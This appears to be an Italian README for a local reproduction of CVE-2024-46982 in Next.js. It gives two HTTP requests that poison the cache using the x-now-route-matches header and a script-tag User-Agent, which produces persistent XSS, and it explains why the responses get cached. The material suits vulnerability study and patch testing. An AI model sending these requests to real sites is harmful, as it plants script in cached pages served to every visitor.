CVE-2024-46982-Reproduction

Per Iniziare

1. Installa Node.js LTS
2. npm install
3. npm run build
4. npm run start

Sfruttamento 1: XSS persistente tramite avvelenamento della cache

1. Invia la seguente richiesta HTTP (Richiesta d'attacco) usando un qualsiasi client HTTP.

GET /poc?__nextDataReq=1 HTTP/1.1
Host: localhost:3000
User-Agent: <script>alert('XSS')</script>
x-now-route-matches: 1

2. Visita http://localhost:3000 (Richiesta normale) usando un qualsiasi browser Web.

Sfruttamento 2: XSS persistente tramite avvelenamento della cache

1. Invia la seguente richiesta HTTP (Richiesta d'attacco) usando un qualsiasi client HTTP, assicurati di sostituire "UiKoKFFGnF1td3mMyeDX5" con il tuo ".next/BUILD_ID"

GET /_next/data/UiKoKFFGnF1td3mMyeDX5/poc.json HTTP/1.1
Host: localhost:3000
User-Agent: <script>alert('XSS')</script>
x-now-route-matches: 1

2. Visita http://localhost:3000 (Richiesta normale) usando un qualsiasi browser Web.

Come funziona?

1. x-now-route-matches è un header HTTP personalizzato riconosciuto da Next.js. Quando presente, Next.js tratta la richiesta HTTP come "SSG" (Static Site Generation), consentendo alla risposta HTTP di essere memorizzata nella cache (Cache-Control: s-maxage=1, stale-while-revalidate).

2. ?__nextDataReq=1 è una querystring riconosciuta da Next.js. Quando presente, Next.js tratta la richiesta HTTP come "Recupero di __NEXT_DATA__".

L'analisi completa è disponibile nella sezione Credit

Credit

• https://zhero-web-sec.github.io/research-and-things/nextjs-cache-and-chains-the-stale-elixir